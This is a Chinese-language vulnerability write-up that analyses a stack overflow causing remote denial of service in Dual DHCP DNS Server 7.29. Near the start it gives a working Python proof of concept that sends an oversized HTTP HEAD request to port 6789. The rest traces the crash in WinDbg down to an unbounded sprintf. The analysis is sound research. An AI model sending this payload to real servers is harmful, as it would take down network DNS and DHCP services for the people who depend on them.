[破五~]Dual DHCP DNS Server 7.29远程拒绝服务漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top

破五送穷神迎财神~祝小伙伴们新年发大财!


漏洞说明


Dual DHCP DNS Server是一个综合的DHCP/DNS服务器的小型局域网。动态的DHCP分配/再次主机地址,而DNS服务器缓存第一次尝试解决由DHCP的分配名称,然后从缓存中,才转发到外部DNS服务器。运行Dual Server之后,会开启一个6789端口负责处理服务端的Web请求,当构造一个特殊的GET包,服务端会处理GET包的页面请求,在请求的过程中,会由于对于页面的长度没有控制,从而导致栈溢出,使某个关键结构体指针被覆盖,从而导致拒绝服务的发生,下面对此漏洞进行详细分析。

软件下载:
https://www.exploit-db.com/apps/c214f1796ee77793e151a5a88d23e047-DualServerInstallerV7.29.exe

PoC:

import socket
import time
import sys
 
banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n"
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
 
host = ""
port = 6789
 
def send_request(host,port,data):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((host,port))
        s.send(data)
        print "[+] Malicious Packet Sent [+]\n"
         
    except Exception:
        print "[+] Exploit failed . . .[+]\n"
    s.close()
 
     
 
ebx = "BBBB"
eax = "CCCC"
evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400
 
if(len(sys.argv) < 1):
    print '\n Usage : exploit.py ipaddress\n'
    exit(0)
else:
    host = sys.argv[1]
 
#The method doesn't really matters. It gets valideted only about the length
request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n"
send_request(host,port,request.replace("{REPLACE}",evil))

漏洞复现


首先,Windbg附加6789的Dual Server进程,运行PoC,Windbg捕获到了异常中断。

0:003> g
(100c.1008): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00365500 ebx=44444444 ecx=75a6adf9 edx=00000000 esi=00000000 edi=00000000
eip=00407f99 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C:\DualServer\DualServer.exe
DualServer+0x7f99:
00407f99 894324          mov     dword ptr [ebx+24h],eax ds:0023:44444468=????????

目前ebx这个位置被畸形字符串覆盖,这里调用ebx所存放的值,是一处指针赋值操作,通过kb查看一下堆栈调用情况。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0022fc18 42424242 44444444 44444444 44444444 DualServer+0x7f99
0022fc1c 44444444 44444444 44444444 44444444 0x42424242
0022fc20 44444444 44444444 44444444 44444444 0x44444444

现在栈已经被覆盖了,无法回溯到之前的函数调用逻辑,查看当前所处的函数调用。

.text:00407A46 ; Attributes: bp-based frame
.text:00407A46
.text:00407A46 ; int __cdecl procHTTP(void *)
.text:00407A46                 public __Z8procHTTPP6data19
.text:00407A46 __Z8procHTTPP6data19 proc near          ; CODE XREF: ServiceMain(ulong,char **)+724p
.text:00407A46                                         ; runProg(void)+63Ep

查看一下产生问题附近的loc块。

00407f82 8b5d08          mov     ebx,dword ptr [ebp+8]
00407f85 c744240431000000 mov     dword ptr [esp+4],31h
00407f8d c7042401000000  mov     dword ptr [esp],1
00407f94 e83ffd0100      call    DualServer+0x27cd8 (00427cd8)
00407f99 894324          mov     dword ptr [ebx+24h],eax ds:0023:44444468=????????

产生问题的寄存器是ebx,而ebx之前被ebp+8赋值,这个值是当前函数的第一个参数,那么在函数入口下断点,先来看一下是不是这个函数出现的问题。


漏洞分析


首先在函数入口00407A46地址位置下一个断点,重新附加,运行PoC,命中断点后单步跟踪,在程序入口处不远的位置,进行了一处赋值,赋值的内容正是函数的第一个参数,此时参数的值还是正常值。

0:000> p
eax=00314258 ebx=00000000 ecx=7ffde000 edx=00000000 esi=00000000 edi=00000000
eip=00407a4a esp=0022fc14 ebp=0022fc18 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
DualServer+0x7a4a:
00407a4a 81ec64090000    sub     esp,964h
0:000> p
eax=00314258 ebx=00000000 ecx=7ffde000 edx=00000000 esi=00000000 edi=00000000
eip=00407a50 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7a50:
00407a50 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0022fc20=00314258
0:000> dd ebp+8
0022fc20  00314258 0031425c 0031426c 00000000

说明是在函数中的某处出现了问题,导致了栈溢出,接下来通过伪代码看一下procHTTP函数的内部逻辑,可以发现这个函数就是负责HTTP请求的逻辑函数,在这中间,会针对各种情况进行相应的处理,注意到在产生问题的函数所处的处理逻辑。

    if ( *(_DWORD *)_errno() || *((_DWORD *)a1 + 8) <= 0 )
    {
      v3 = (_DWORD *)_errno();
      v4 = IP2String(&v15, *((_DWORD *)a1 + 2));
      sprintf(&v16, "Client %s, HTTP Message Receive failed, WSAError %d", v4, *v3);
      logDHCPMess(&v16, 1u);
      closesocket(*(_DWORD *)a1);
      free(a1);
    }
    else
    {
        else
        {
          if ( i && (verbatim || (unsigned __int8)byte_466A59 > 1u) )
          {
            v7 = IP2String(&v15, *((_DWORD *)a1 + 2));
            sprintf(&v16, "Client %s, %s not found", v7, i);
            logDHCPMess(&v16, 2u);
          }
          else if ( verbatim || (unsigned __int8)byte_466A59 > 1u )
          {
            v8 = IP2String(&v15, *((_DWORD *)a1 + 2));
            sprintf(&v16, "Client %s, Invalid http request", v8);
            logDHCPMess(&v16, 2u);
          }
          *((_DWORD *)a1 + 9) = calloc(1u, 0x31u);//key!!!
          *((_DWORD *)a1 + 8) = sprintf(*((char **)a1 + 9), "HTTP/1.1 404 Not Found\r\n\r\n<h1>404 Not Found</h1>");//key!!
          *((_DWORD *)a1 + 7) = 49;
          _beginthread(sendHTTP, 0, a1);
        }

每次处理的过程中,都会调用sprintf进行字符串拼接,组成一个产生错误的字符串,随后打印,因此,我们在最外层的else下一个断点跟踪。

.text:00407EB3 ; 75:           if ( i && (verbatim || (unsigned __int8)byte_466A59 > 1u) )
.text:00407EB3
.text:00407EB3 loc_407EB3:                             ; CODE XREF: procHTTP(data19 *)+441j
.text:00407EB3                                         ; procHTTP(data19 *)+45Bj
.text:00407EB3                 cmp     [ebp+var_52C], 0
.text:00407EBA                 jz      short loc_407F26
.text:00407EBC                 cmp     ds:_verbatim, 0
.text:00407EC3                 jnz     short loc_407ED0

在else中的if语句会判断通过,进入相应的逻辑处理。

0:000> p
eax=00000001 ebx=00000000 ecx=0022f220 edx=c0402dff esi=00000000 edi=00000000
eip=00407ec3 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7ec3:
00407ec3 750b            jne     DualServer+0x7ed0 (00407ed0)            [br=1]
0:000> p
eax=00000001 ebx=00000000 ecx=0022f220 edx=c0402dff esi=00000000 edi=00000000
eip=00407ed0 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7ed0:
00407ed0 8b4508          mov     eax,dword ptr [ebp+8] ss:0023:0022fc20=003c4258
0:000> p
eax=003c4258 ebx=00000000 ecx=0022f220 edx=c0402dff esi=00000000 edi=00000000
eip=00407ed3 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7ed3:
00407ed3 8b4008          mov     eax,dword ptr [eax+8] ds:0023:003c4260=0100007f

接下来,会到达一处sprintf的函数调用,在这里,会拼接成一个报错的语句:Client %s, %s not found。在sprintf函数下断点,并且查看一下对应的参数。

0:000> p
eax=0022fa10 ebx=00000000 ecx=92aae27f edx=0022f810 esi=00000000 edi=00000000
eip=00407f06 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DualServer+0x7f06:
00407f06 890424          mov     dword ptr [esp],eax  ss:0023:0022f2b0=0022f810
0:000> p
eax=0022fa10 ebx=00000000 ecx=92aae27f edx=0022f810 esi=00000000 edi=00000000
eip=00407f09 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DualServer+0x7f09:
00407f09 e8dafd0100      call    DualServer+0x27ce8 (00427ce8)
0:000> dd esp
0022f2b0  0022fa10 004323cf 0022f810 0022f2e5

重点关注第二个参数和第四个参数,第二个参数表示的是要生成字符串的格式,第四个参数则存放着畸形字符串。

0:000> dc 004323cf
004323cf  65696c43 2520746e 25202c73 6f6e2073  Client %s, %s no
004323df  6f662074 00646e75 696c4300 20746e65  t found..
0:000> dc 0022f2e5
0022f2e5  4141412f 41414141 41414141 41414141  /AAAAAAAAAAAAAAA
0022f2f5  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f305  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f315  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f325  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0022f335  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

正是这样的函数拷贝,没有进行长度控制,从而导致esp的第一个值,0022fa10地址会被大量的数据填充,这是一个栈地址,这样会导致某些关键位置被覆盖。比如ebp+8位置,也就是第一个参数。

0:000> p
eax=000003aa ebx=00000000 ecx=92aae27f edx=0022fdb9 esi=00000000 edi=00000000
eip=00407f0e esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7f0e:
00407f0e c744240402000000 mov     dword ptr [esp+4],2 ss:0023:0022f2b4=004323cf
0:000> dd ebp+8
0022fc20  44444444 44444444 44444444 44444444
0022fc30  44444444 44444444 44444444 44444444

这样后续会进行ebx的赋值,赋值的内容就是第一个参数。

0:000> p
eax=00000001 ebx=00000000 ecx=75a7c620 edx=00000002 esi=00000000 edi=00000000
eip=00407f82 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7f82:
00407f82 8b5d08          mov     ebx,dword ptr [ebp+8] ss:0023:0022fc20=44444444
0:000> p
eax=00000001 ebx=44444444 ecx=75a7c620 edx=00000002 esi=00000000 edi=00000000
eip=00407f85 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7f85:
00407f85 c744240431000000 mov     dword ptr [esp+4],31h ss:0023:0022f2b4=00000002

之后会引用到这个ebx的指针值,而由于ebx现在已经是一个不可读的地址,最后导致拒绝服务,而ebx并不是一个虚函数,因此后续基本无法利用。

0:000> p
eax=00000001 ebx=44444444 ecx=75a7c620 edx=00000002 esi=00000000 edi=00000000
eip=00407f94 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
DualServer+0x7f94:
00407f94 e83ffd0100      call    DualServer+0x27cd8 (00427cd8)
0:000> p
eax=003c11b8 ebx=44444444 ecx=75a6adf9 edx=00000000 esi=00000000 edi=00000000
eip=00407f99 esp=0022f2b0 ebp=0022fc18 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
DualServer+0x7f99:
00407f99 894324          mov     dword ptr [ebx+24h],eax ds:0023:44444468=????????

这样漏洞的成因就是由于对于GET包中的请求页面的长度,没有进行控制,从而导致调用sprintf造成栈溢出,最后可以造成局域网内的DNS服务器终止服务。

Comments
Write a Comment